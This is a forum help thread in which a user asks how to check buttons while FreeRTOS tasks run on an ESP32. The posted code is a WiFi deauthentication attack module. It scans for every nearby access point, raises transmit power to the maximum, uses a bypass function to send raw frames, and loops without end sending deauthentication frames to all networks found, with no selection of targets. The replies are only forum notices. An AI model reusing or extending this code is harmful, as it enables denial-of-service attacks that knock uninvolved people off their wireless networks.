ESP32 - Using loop while tasking

I have an issue, while sending Wi-Fi packets, the process continues and the tick function cannot execute. Therefore, it cannot process in the eventDeinit(), and my button checks cannot be performed during packet transmission. I tried to handle it with a task, but it didn’t get it work. How can I detect whether the button is pressed during packet transmission?

INFO: tick void is called by normal loop void on Arduino framework.

#include "WiFiDeauther.h"
#include "Logger.h"
#include <MenuController.h>
#include "ModuleManager.h"
#include <UIController.h>
#include "utils/WiFiUtils/WiFiUtil.h"
#include <esp_wifi.h>
#include <WiFi.h>
#include <vector>
#include <array>
#include <LinkedList.h>
#include <freertos/FreeRTOS.h>

extern Logger logger;

extern ButtonController upButton;
extern ButtonController okButton;
extern ButtonController downButton;

extern MenuController menuController;
extern ModuleManager moduleManager;
extern UIController ui;

extern WiFiUtil wifiUtil;
std::vector<wifi_ap_record_t> ap_records;

struct AccessPoint {
  String essid;
  uint8_t channel;
  uint8_t bssid[6];
  bool selected;
  LinkedList<char>* beacon;
  char rssi;
  LinkedList<uint8_t>* stations;
};

struct Station {
  uint8_t mac[6];
  bool selected;
};

LinkedList<AccessPoint>* access_points;
LinkedList<Station>* stations;

int packets_sent = 0;
String ssidList = "Targets:\n";  // Başlangıçta boş bir liste

TaskHandle_t scanNetworksTaskHandle = nullptr;
TaskHandle_t deauthTaskHandle = nullptr;

void WiFiDeauther::init() {
    access_points = new LinkedList<AccessPoint>();
    stations = new LinkedList<Station>();
    logger.log("WiFi Deauther initialized.");
    display();

    esp_err_t err;
    wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
    err = esp_wifi_init(&cfg);
    if (err != ESP_OK) {
        logger.log("Error initializing WiFi: " + String(esp_err_to_name(err)));
        return;
    }

    err = esp_wifi_set_storage(WIFI_STORAGE_RAM);
    if (err != ESP_OK) {
        logger.log("Error setting WiFi storage: " + String(esp_err_to_name(err)));
        return;
    }

    err = esp_wifi_set_mode(WIFI_MODE_AP);
    if (err != ESP_OK) {
        logger.log("Error setting WiFi mode: " + String(esp_err_to_name(err)));
        return;
    }

    err = esp_wifi_start();
    if (err != ESP_OK) {
        logger.log("Error starting WiFi: " + String(esp_err_to_name(err)));
        return;
    }

    err = esp_wifi_set_max_tx_power(82);
    if (err != ESP_OK) {
        logger.log("Error setting max TX power: " + String(esp_err_to_name(err)));
        return;
    }

    WiFi.mode(WIFI_AP); // Switch to station mode
    WiFi.disconnect();
    // Set up AP
    if (!WiFi.softAP("DeautherAP", "", 1, 1, 4, false)) {
        ui.displayError("WiFi Deauther", "Failed to start AP!");
    }


    logger.log("WiFi Deauther initialization completed successfully.");

    xTaskCreatePinnedToCore(
        scanNetworksTask,
        "scanNetworksTask",    // Task name
        4096,                  // Yığın boyutu
        this,               // Parametre
        5,                     // Öncelik
        &scanNetworksTaskHandle,    // Görev tanıtıcısı
        1                     // Çekirdek
    );


    xTaskCreatePinnedToCore(
        deauthTask,
        "deauthTask",          // Task name
        4096,                  // Yığın boyutu
        nullptr,               // Parametre
        5,                     // Öncelik
        &deauthTaskHandle,     // Görev tanıtıcısı
        1            // Çekirdek
    );
    
}

void WiFiDeauther::deinit() {

    if (scanNetworksTaskHandle != nullptr) {
        vTaskDelete(scanNetworksTaskHandle);
        scanNetworksTaskHandle = nullptr;
        logger.log("Scan Networks Task Aborted.");
    }

    if (deauthTaskHandle != nullptr) {
        vTaskDelete(deauthTaskHandle);
        deauthTaskHandle = nullptr;
        logger.log("Deauth Attack Task Aborted.");
    }

    lv_obj_clean(lv_scr_act());
    menuController.displayModuleMenu(moduleManager.categoryToString(Category::WIFI));
    logger.log("WiFi Deauther deinitialized.");
}

void WiFiDeauther::tick() {
    eventDeinit();
}

lv_obj_t *scr;
lv_obj_t *targetList;
void WiFiDeauther::display() {
    scr = lv_scr_act();
    targetList = lv_label_create(scr);

    ui.setTitle("WiFi Deauther");

    lv_label_set_text(targetList, "Scanning for Networks...");
    lv_obj_align(targetList, LV_ALIGN_CENTER, 0, 20);
    lv_obj_set_style_text_font(targetList, &lv_font_montserrat_12, LV_PART_MAIN); 
    lv_obj_set_content_height(targetList, SCREEN_HEIGHT / 1.8);
    lv_obj_set_scrollbar_mode(targetList, LV_SCROLLBAR_MODE_OFF);
    lv_label_set_long_mode(targetList, LV_LABEL_LONG_SCROLL_CIRCULAR);
}

void WiFiDeauther::eventDeinit() {
    if (upButton.checkPress() || downButton.checkPress() || okButton.checkPress()) {
        logger.log("Any Button Pressed!");
        if (!ui.focusedToPopup) {
            menuController.deactivateActiveModule();
        } 
        else {
            logger.log("Removing Error Panel!");
            ui.focusedToPopup = false;
            menuController.deactivateActiveModule();
        }
    }
}


//FIX: Target ssid list
void WiFiDeauther::scanNetworksTask(void *parameter) {
    while (true) {
        logger.log("Scanning Networks...");
        lv_label_set_text(targetList, "Scanning for Networks...");
        ap_records.clear();
        logger.log("Cleared AP Records!");
        vTaskDelay(100 / portTICK_PERIOD_MS);
        int nets = WiFi.scanNetworks();
        vTaskDelay(200 / portTICK_PERIOD_MS);
        for (int i = 0; i < nets; i++) {
            wifi_ap_record_t record;
            memcpy(record.bssid, WiFi.BSSID(i), 6);
            record.primary = WiFi.channel(i);
            strncpy((char *)record.ssid, WiFi.SSID(i).c_str(), sizeof(record.ssid));
            record.ssid[sizeof(record.ssid) - 1] = '\0'; // Null-terminator ekleyerek taşmayı önler            record.primary = WiFi.channel(i);
            ap_records.push_back(record);
            ssidList += String((char*)record.ssid);  // SSID'yi String'e dönüştür ve ekle
            ssidList += "\n";
        }

        memcpy(wifiUtil.deauth_frame, wifiUtil.deauth_frame_default, sizeof(wifiUtil.deauth_frame_default));
        logger.log("WiFi Scan Complete.");

        if (ap_records.size() != 0 && targetList != nullptr && ssidList != nullptr) {
            lv_label_set_text(targetList, ssidList.c_str());
        }
        logger.log(ssidList);
        vTaskDelay(25000 / portTICK_PERIOD_MS);
    }
}


void WiFiDeauther::deauthTask(void *parameter) {
    while (true) {
        if (ap_records.size() != 0)
        {
            uint8_t channel = 0;
            uint16_t count = 0;
            for (const auto &record : ap_records) {
                channel = record.primary; 
                //logger.log("Deauthing on channel: " + String(channel));
                wifiUtil.wsl_bypasser_send_raw_frame(&record, record.primary); // Kanalı ayarlama
                vTaskDelay(30 / portTICK_PERIOD_MS);
                for (int i = 0; i < 6; i++) {
                    if (ap_records.size() != 0)
                    {                         
                        wifiUtil.send_raw_frame(wifiUtil.deauth_frame, sizeof(wifiUtil.deauth_frame_default));
                        count++;
                        vTaskDelay(50 / portTICK_PERIOD_MS);
                    }
                }
                vTaskDelay(30 / portTICK_PERIOD_MS);
            }
        }
        
        vTaskDelay(70 / portTICK_PERIOD_MS);
    }
}

Welcome to the forum

Your topic has been moved to the Programming category of the forum

1 Like

This topic was automatically closed 180 days after the last reply. New replies are no longer allowed.